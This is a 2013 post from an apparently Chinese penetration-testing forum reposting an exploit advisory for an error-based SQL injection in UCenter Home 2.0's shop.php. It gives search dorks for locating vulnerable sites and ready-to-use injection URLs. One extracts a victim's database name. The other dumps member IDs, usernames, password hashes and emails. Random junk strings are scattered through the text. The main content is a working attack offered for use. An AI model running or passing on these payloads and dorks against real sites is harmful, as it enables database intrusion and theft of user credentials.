中国网络渗透测试联盟

标题: UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability [打印本页]

作者: admin    时间: 2013-2-27 21:31
标题: UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability
& T/ X+ I2 a8 X$ ]* k
__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__  ! l7 ~' ^% I! x* h( _% I

( {3 t" N! D" y# Z' v# f* k                                 9 D5 C* ^/ L; _+ h

- _, X5 z9 }1 A  O- a( g" U) y1 ?*/ Author : KnocKout  # S$ V  H: J% r; P% _% O

" H& Z- b& x: y/ [*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers  3 u, ]1 v/ P- i+ o

" Z2 ~1 V" @* |4 X*/ Contact: knockoutr@msn.com  
$ E7 j7 t  S9 P; K; Q
: f0 ~" i6 c! P1 j0 t*/ Cyber-Warrior.org/CWKnocKout  4 M- S! ?" k  I
- }; L# A8 k" b9 g% b
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
5 J4 N) r0 b" g# M3 `; h5 a4 A/ c* @5 E. h6 J0 o$ e
Script : UCenter Home  
- n9 e! f& Y9 I  D' v  Z& K
% X  u: d# l& ~Version : 2.0  
5 B! Y% D" w: u+ v/ a! s3 z. Z. S0 z  V5 A
Script HomePage : http://u.discuz.net/  
5 _2 [+ j) t0 g/ N; F( n9 R; {# ], @, p8 e
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
, s5 X( |  g$ Q
% M9 P$ N$ R, y: ^# ~Dork : Powered by UCenter inurl:shop.php?ac=view  
1 s$ c. I) b* P* i4 Z/ e
6 M; E  A/ k, rDork 2 : inurl:shop.php?ac=view&shopid=  * |0 R) i" c+ T. ~& D& M- u

% s6 ]$ q4 P; R- o# x1 w__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
4 o" g: W: e0 ?3 U0 K' Z( O) t4 d0 d
Vuln file : Shop.php  8 R3 w- r2 B8 k; |

) r. d- ?+ z0 b( Q* Tvalue's : (?)ac=view&shopid=  
" D3 h. W/ B: u8 r, N5 i: g) f  _) X( q4 g/ R# V" ^
Vulnerable Style : SQL Injection (MySQL Error Based)  . E4 W' k2 E% G5 Y
: ]" `  Y3 Z$ q7 A6 ?4 `' ^
Need Metarials : Hex Conversion    y" P- ?; @4 C) r; H

7 P9 y3 f- e& V+ i__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==  
. u& q9 E6 R" L$ R+ W
& E2 @) Q7 i# LYour Need victim Database name.   
- P0 C/ z! r6 V7 b, I3 M) W, r+ [; @" q$ S2 v- a+ h' E) ~
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  : K! p% B6 D# V' J6 j
, Y4 O& u$ \. N/ S' Y1 Z
..  8 L  [0 S, E& e$ U4 {- M
: N$ |6 ~' E+ H) _) ~
DB : Okey.  
6 G: J3 e7 i: N) a8 ^" x! M, Y
0 a% L2 W& u1 D" C# b$ myour edit DB `[TARGET DB NAME]`  
: Y. h: ]3 }$ Q6 Z# q6 U
  Z, t, s' c% F" Z3 `Example : 'hiwir1_ucenter'  
/ p  z$ ?$ T9 h, K
6 H% P  ?, g9 D/ j+ D4 L' rEdit : Okey.  
( G, v1 ~/ i6 h" z8 D/ Q2 H6 N/ B" X6 j# w" a
Your use Hex conversion. And edit Your SQL Injection Exploit..  7 P" ]; F4 J2 Q# e4 J; Z/ j
5 c# v9 n9 p; f
   
; ^9 N& o. O# C: B- H: \6 [+ L1 v; D, F0 K0 `, l8 Q6 K
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1  
' N2 C( O% R+ M; a! j% z




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2